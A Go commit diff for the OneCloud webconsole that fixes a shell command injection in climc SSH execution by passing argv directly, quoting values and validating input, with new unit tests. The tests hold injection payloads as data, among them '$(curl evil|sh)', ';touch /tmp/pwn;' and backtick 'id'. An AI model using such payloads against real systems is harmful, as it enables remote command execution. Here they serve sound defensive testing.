fix(webconsole): harden climc shell command execution against injection (#25496)

- Run ssh via exec.Command argv instead of "bash -c" string
  interpolation, so user-supplied fields can no longer escape into
  local shell commands on the webconsole server
- Quote every interpolated value (env, command, args) as a POSIX
  shell word, so they stay literal data on the remote shell
- Validate username charset and limit target_ip to climc pod or container
- Add unit tests covering injection payloads

Co-authored-by: Qiu Jian <qiujian@yunionyun.com>
Co-authored-by: Claude <noreply@anthropic.com>

pkg/apis/webconsole/climc_ssh.go

@@ -15,7 +15,6 @@
 package webconsole
 
 type ClimcSshInfo struct {
-	IpAddr      string                `json:"ip_addr"`
 	Username    string                `json:"username"`
 	Command     string                `json:"command"`
 	Args        []string              `json:"args"`

pkg/mcclient/modules/webconsole/mod_webconsole.go

@@ -26,10 +26,8 @@ import (
 	webconsole_api "yunion.io/x/onecloud/pkg/apis/webconsole"
 	"yunion.io/x/onecloud/pkg/httperrors"
 	"yunion.io/x/onecloud/pkg/mcclient"
-	"yunion.io/x/onecloud/pkg/mcclient/auth"
 	"yunion.io/x/onecloud/pkg/mcclient/modulebase"
 	"yunion.io/x/onecloud/pkg/mcclient/modules/compute"
-	"yunion.io/x/onecloud/pkg/mcclient/modules/k8s"
 	compute_options "yunion.io/x/onecloud/pkg/mcclient/options/compute"
 )
 
@@ -148,55 +146,15 @@ func (m WebConsoleManager) DoCloudShell(s *mcclient.ClientSession, _ jsonutils.J
 	return m.doCloudSshShell(s, nil, "", nil, nil)
 }
 
-func (m WebConsoleManager) climcSshConnect(s *mcclient.ClientSession, hostname string, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) {
-	if hostname == "" {
-		hostname = "climc"
-	}
+func (m WebConsoleManager) climcSshConnect(s *mcclient.ClientSession, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) {
 	// maybe running in docker compose environment, so try to use ssh way
-	data, err := m.DoClimcSshConnect(s, hostname, 22, command, args, env, info)
+	data, err := m.DoClimcSshConnect(s, command, args, env, info)
 	if err != nil {
 		return nil, errors.Wrap(err, "DoClimcSshConnect")
 	}
 	return data, nil
 }
 
-func (m WebConsoleManager) doActionWithClimcPod(
-	s *mcclient.ClientSession,
-	af func(s *mcclient.ClientSession, clusterId string, pod jsonutils.JSONObject) (jsonutils.JSONObject, error),
-) (jsonutils.JSONObject, error) {
-	adminSession := s
-	if auth.IsAuthed() {
-		adminSession = auth.GetAdminSession(s.GetContext(), s.GetRegion())
-	}
-
-	query := jsonutils.NewDict()
-	query.Add(jsonutils.JSONTrue, "system")
-	query.Add(jsonutils.NewString("system"), "scope")
-	query.Add(jsonutils.NewString("system-default"), "name")
-	clusters, err := k8s.KubeClusters.List(adminSession, query)
-	if err != nil {
-		return nil, errors.Wrap(err, "list k8s cluster")
-	}
-	clusterId, _ := clusters.Data[0].GetString("id")
-	if len(clusterId) == 0 {
-		return nil, httperrors.NewNotFoundError("cluster system-default no id")
-	}
-	query = jsonutils.NewDict()
-	query.Add(jsonutils.NewString(clusterId), "cluster")
-	query.Add(jsonutils.NewString("onecloud"), "namespace")
-	query.Add(jsonutils.NewString("climc"), "search")
-	query.Add(jsonutils.JSONTrue, "details")
-	pods, err := k8s.Pods.List(adminSession, query)
-	if err != nil {
-		return nil, errors.Wrap(err, "Pods")
-	}
-	if len(pods.Data) == 0 {
-		return nil, httperrors.NewNotFoundError("pod climc not found")
-	}
-	pod := pods.Data[0]
-	return af(s, clusterId, pod)
-}
-
 func (m WebConsoleManager) doCloudShell(s *mcclient.ClientSession, info *webconsole_api.SK8sShellDisplayInfo, cmd string, args ...string) (jsonutils.JSONObject, error) {
 	endpointType := "internal"
 	authUrl, err := s.GetServiceURL("identity", endpointType, httputils.POST)
@@ -257,26 +215,11 @@ func (m WebConsoleManager) doCloudShell(s *mcclient.ClientSession, info *webcons
 }
 
 func (m WebConsoleManager) doCloudSshShell(s *mcclient.ClientSession, info *webconsole_api.SK8sShellDisplayInfo, command string, args []string, env map[string]string) (jsonutils.JSONObject, error) {
-	data, err := m.doActionWithClimcPod(s, func(s *mcclient.ClientSession, clusterId string, pod jsonutils.JSONObject) (jsonutils.JSONObject, error) {
-		podIP, err := pod.GetString("podIP")
-		if err != nil {
-			return nil, errors.Wrap(err, "get podIP")
-		}
-		return m.climcSshConnect(s, podIP, command, args, env, info)
-	})
-	errs := []error{}
+	data, err := m.climcSshConnect(s, command, args, env, info)
 	if err != nil {
-		errs = append(errs, err)
-		// try climc ssh
-		data, err := m.climcSshConnect(s, "", command, args, env, info)
-		if err != nil {
-			errs = append(errs, err)
-			return nil, errors.NewAggregate(errs)
-		}
-		return data, nil
+		return nil, errors.Wrap(err, "climcSshConnect")
 	}
 	return data, nil
-
 }
 
 func (m WebConsoleManager) DoK8sLogConnect(s *mcclient.ClientSession, id string, params jsonutils.JSONObject) (jsonutils.JSONObject, error) {
@@ -299,17 +242,17 @@ func (m WebConsoleManager) DoServerRDPConnect(s *mcclient.ClientSession, id stri
 	return m.DoConnect(s, "server-rdp", id, "", params)
 }
 
-func (m WebConsoleManager) DoClimcSshConnect(s *mcclient.ClientSession, ip string, port int, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) {
+func (m WebConsoleManager) DoClimcSshConnect(s *mcclient.ClientSession, command string, args []string, env map[string]string, info *webconsole_api.SK8sShellDisplayInfo) (jsonutils.JSONObject, error) {
 	data := jsonutils.Marshal(map[string]interface{}{
 		"username":      "root",
 		"keep_username": true,
-		"ip_addr":       ip,
-		"port":          port,
-		"name":          "climc",
-		"env":           env,
-		"command":       command,
-		"args":          args,
-		"display_info":  info,
+		// "ip_addr":       ip, // climc
+		// "port":         port, // 22
+		"name":         "climc",
+		"env":          env,
+		"command":      command,
+		"args":         args,
+		"display_info": info,
 	})
 	body := jsonutils.NewDict()
 	body.Set("webconsole", data)

pkg/webconsole/command/climc_ssh_command.go

@@ -16,9 +16,9 @@ package command
 
 import (
 	"fmt"
-	"io/ioutil"
 	"os"
 	"os/exec"
+	"regexp"
 	"strings"
 
 	"yunion.io/x/pkg/errors"
@@ -28,6 +28,44 @@ import (
 	"yunion.io/x/onecloud/pkg/webconsole/helper"
 )
 
+var (
+	usernameRe = regexp.MustCompile(`^[A-Za-z0-9_.-]+$`)
+	envKeyRe   = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`)
+)
+
+// shellQuote quotes s as a single POSIX shell word, so that it stays literal
+// data when interpreted by the remote shell.
+func shellQuote(s string) string {
+	if s == "" {
+		return "''"
+	}
+	return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
+}
+
+// buildRemoteCmd builds the command executed by the remote shell. Every
+// interpolated value is passed through shellQuote so it cannot escape into
+// shell syntax (command injection).
+func buildRemoteCmd(env map[string]string, cmd string, args []string) (string, error) {
+	parts := make([]string, 0, len(env)+1)
+	for k, v := range env {
+		if !envKeyRe.MatchString(k) {
+			return "", fmt.Errorf("invalid env key %q", k)
+		}
+		parts = append(parts, fmt.Sprintf("export %s=%s", k, shellQuote(v)))
+	}
+	if cmd != "" {
+		tokens := append([]string{cmd}, args...)
+		quoted := make([]string, len(tokens))
+		for i, token := range tokens {
+			quoted[i] = shellQuote(token)
+		}
+		parts = append(parts, strings.Join(quoted, " "))
+	} else {
+		parts = append(parts, "exec bash")
+	}
+	return strings.Join(parts, " && "), nil
+}
+
 type ClimcSshCommand struct {
 	*BaseCommand
 	Info    *webconsole.ClimcSshInfo
@@ -37,31 +75,36 @@ type ClimcSshCommand struct {
 }
 
 func NewClimcSshCommand(info *webconsole.ClimcSshInfo, s *mcclient.ClientSession) (*ClimcSshCommand, error) {
-	if info.IpAddr == "" {
-		return nil, fmt.Errorf("Empty host ip address")
-	}
 	if info.Username == "" {
 		return nil, fmt.Errorf("Empty username")
 	}
-	privateKey, err := helper.GetValidPrivateKey(info.IpAddr, 22, info.Username, "")
+	if !usernameRe.MatchString(info.Username) {
+		return nil, fmt.Errorf("Invalid username %q", info.Username)
+	}
+	targetIp := helper.FetchClimcTargetIp()
+	privateKey, err := helper.GetValidPrivateKey(targetIp, 22, info.Username, "")
 	if err != nil {
 		return nil, errors.Wrap(err, "get cloud admin private key")
 	}
-	file, err := ioutil.TempFile("", fmt.Sprintf("id_rsa.%s.", info.IpAddr))
+	file, err := os.CreateTemp("", fmt.Sprintf("id_rsa.%s.", targetIp))
 	if err != nil {
 		return nil, err
 	}
-	defer file.Close()
 	filename := file.Name()
-	{
+	err = func() error {
+		defer file.Close()
 		err = os.Chmod(filename, 0600)
 		if err != nil {
-			return nil, err
+			return err
 		}
 		_, err = file.Write([]byte(privateKey))
 		if err != nil {
-			return nil, err
+			return err
 		}
+		return nil
+	}()
+	if err != nil {
+		return nil, err
 	}
 	env := map[string]string{
 		"OS_AUTH_TOKEN":           s.GetToken().GetTokenString(),
@@ -69,29 +112,30 @@ func NewClimcSshCommand(info *webconsole.ClimcSshInfo, s *mcclient.ClientSession
 		"OS_PROJECT_DOMAIN":       s.GetProjectDomain(),
 		"YUNION_USE_CACHED_TOKEN": "false",
 		"OS_TRY_TERM_WIDTH":       "false",
+		"GOMAXPROCS":              "2",
+		"OS_USERNAME":             "",
+		"OS_PASSWORD":             "",
+		"OS_DOMAIN_NAME":          "",
+		"OS_ACCESS_KEY":           "",
+		"OS_SECRET_KEY":           "",
 	}
 	if len(info.Env) != 0 {
 		env = info.Env
 	}
-	envCmd := ""
-	for k, v := range env {
-		envCmd = fmt.Sprintf("%s export %s=%s", envCmd, k, v)
-	}
-	execCmd := "exec bash"
-	if info.Command != "" {
-		execCmd = info.Command
-		execCmd = fmt.Sprintf("%s %s", execCmd, strings.Join(info.Args, " "))
+	remoteCmd, err := buildRemoteCmd(env, info.Command, info.Args)
+	if err != nil {
+		return nil, err
 	}
+	// argv is passed directly to ssh without a shell, so user input cannot
+	// escape into local command execution
 	sshArgs := []string{
 		"-t", // force pseudo-terminal allocation
 		"-o", "StrictHostKeyChecking=no",
 		"-i", filename,
-		fmt.Sprintf("%s@%s", info.Username, info.IpAddr),
-		fmt.Sprintf("'%s && %s'", envCmd, execCmd),
+		fmt.Sprintf("%s@%s", info.Username, targetIp),
+		remoteCmd,
 	}
-	sshCmd := fmt.Sprintf("ssh %s", strings.Join(sshArgs, " "))
-	args := []string{"-c", sshCmd}
-	bCmd := NewBaseCommand(s, "bash", args...)
+	bCmd := NewBaseCommand(s, "ssh", sshArgs...)
 	cmd := &ClimcSshCommand{
 		BaseCommand: bCmd,
 		Info:        info,

pkg/webconsole/command/climc_ssh_command_test.go

@@ -0,0 +1,98 @@
+// Copyright 2019 Yunion
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package command
+
+import (
+	"os"
+	"os/exec"
+	"strings"
+	"testing"
+)
+
+func TestShellQuote(t *testing.T) {
+	cases := []struct {
+		in   string
+		want string
+	}{
+		{"", "''"},
+		{"simple", "'simple'"},
+		{"a b", "'a b'"},
+		{";touch /tmp/pwn;", "';touch /tmp/pwn;'"},
+		{"$(curl evil|sh)", "'$(curl evil|sh)'"},
+		{"`id`", "'`id`'"},
+		{"it's", `'it'\''s'`},
+		{"a\nb", "'a\nb'"},
+	}
+	for _, c := range cases {
+		if got := shellQuote(c.in); got != c.want {
+			t.Errorf("shellQuote(%q) = %q, want %q", c.in, got, c.want)
+		}
+	}
+}
+
+func TestBuildRemoteCmdDefault(t *testing.T) {
+	got, err := buildRemoteCmd(nil, "", nil)
+	if err != nil {
+		t.Fatalf("buildRemoteCmd: %v", err)
+	}
+	if got != "exec bash" {
+		t.Fatalf("default remote cmd = %q, want %q", got, "exec bash")
+	}
+}
+
+// malicious env values and command args must stay literal data on the remote
+// shell, they must not be executed
+func TestBuildRemoteCmdInjectionSafe(t *testing.T) {
+	payload := "$(touch /tmp/climc_ssh_pwn)"
+
+	remoteCmd, err := buildRemoteCmd(map[string]string{"X": payload}, "env", nil)
+	if err != nil {
+		t.Fatalf("buildRemoteCmd: %v", err)
+	}
+	out, err := exec.Command("bash", "-c", remoteCmd).Output()
+	if err != nil {
+		t.Fatalf("run remote cmd: %v", err)
+	}
+	if !strings.Contains(string(out), "X="+payload+"\n") {
+		t.Fatalf("env value not literal in env output")
+	}
+	if _, err := os.Stat("/tmp/climc_ssh_pwn"); !os.IsNotExist(err) {
+		t.Fatalf("injection payload was executed")
+	}
+
+	remoteCmd, err = buildRemoteCmd(nil, "printf", []string{"%s", payload})
+	if err != nil {
+		t.Fatalf("buildRemoteCmd: %v", err)
+	}
+	out, err = exec.Command("bash", "-c", remoteCmd).Output()
+	if err != nil {
+		t.Fatalf("run remote cmd: %v", err)
+	}
+	if string(out) != payload {
+		t.Fatalf("command arg not literal, output %q", string(out))
+	}
+	if _, err := os.Stat("/tmp/climc_ssh_pwn"); !os.IsNotExist(err) {
+		t.Fatalf("injection payload was executed")
+	}
+}
+
+func TestBuildRemoteCmdInvalidEnvKey(t *testing.T) {
+	if _, err := buildRemoteCmd(map[string]string{"K;touch /tmp/pwn": "v"}, "", nil); err == nil {
+		t.Fatalf("expected error for invalid env key")
+	}
+	if _, err := buildRemoteCmd(map[string]string{"9INVALID": "v"}, "", nil); err == nil {
+		t.Fatalf("expected error for invalid env key")
+	}
+}

pkg/webconsole/helper/helper.go

@@ -23,14 +23,61 @@ import (
 	"golang.org/x/crypto/ssh"
 
 	"yunion.io/x/jsonutils"
+	"yunion.io/x/log"
 	"yunion.io/x/pkg/errors"
 
 	"yunion.io/x/onecloud/pkg/httperrors"
 	"yunion.io/x/onecloud/pkg/mcclient/auth"
 	"yunion.io/x/onecloud/pkg/mcclient/modules/compute"
+	"yunion.io/x/onecloud/pkg/mcclient/modules/k8s"
 	o "yunion.io/x/onecloud/pkg/webconsole/options"
 )
 
+func fetchK8sClimcTargetIp() (string, error) {
+	ctx := context.Background()
+	adminSession := auth.GetAdminSession(ctx, o.Options.Region)
+
+	query := jsonutils.NewDict()
+	query.Add(jsonutils.JSONTrue, "system")
+	query.Add(jsonutils.NewString("system"), "scope")
+	query.Add(jsonutils.NewString("system-default"), "name")
+	clusters, err := k8s.KubeClusters.List(adminSession, query)
+	if err != nil {
+		return "", errors.Wrap(err, "list k8s cluster")
+	}
+	clusterId, _ := clusters.Data[0].GetString("id")
+	if len(clusterId) == 0 {
+		return "", httperrors.NewNotFoundError("cluster system-default no id")
+	}
+	query = jsonutils.NewDict()
+	query.Add(jsonutils.NewString(clusterId), "cluster")
+	query.Add(jsonutils.NewString("onecloud"), "namespace")
+	query.Add(jsonutils.NewString("climc"), "search")
+	query.Add(jsonutils.JSONTrue, "details")
+	pods, err := k8s.Pods.List(adminSession, query)
+	if err != nil {
+		return "", errors.Wrap(err, "Pods")
+	}
+	if len(pods.Data) == 0 {
+		return "", httperrors.NewNotFoundError("pod climc not found")
+	}
+	pod := pods.Data[0]
+	podIp, err := pod.GetString("podIP")
+	if err != nil {
+		return "", errors.Wrap(err, "get podIP")
+	}
+	return podIp, nil
+}
+
+func FetchClimcTargetIp() string {
+	podIp, err := fetchK8sClimcTargetIp()
+	if err != nil {
+		log.Errorf("fetchK8sClimcTargetIp: %v", err)
+		return "climc"
+	}
+	return podIp
+}
+
 func GetValidPrivateKey(host string, port int, username string, projectId string) (string, error) {
 	errs := []error{}
 	ctx := context.Background()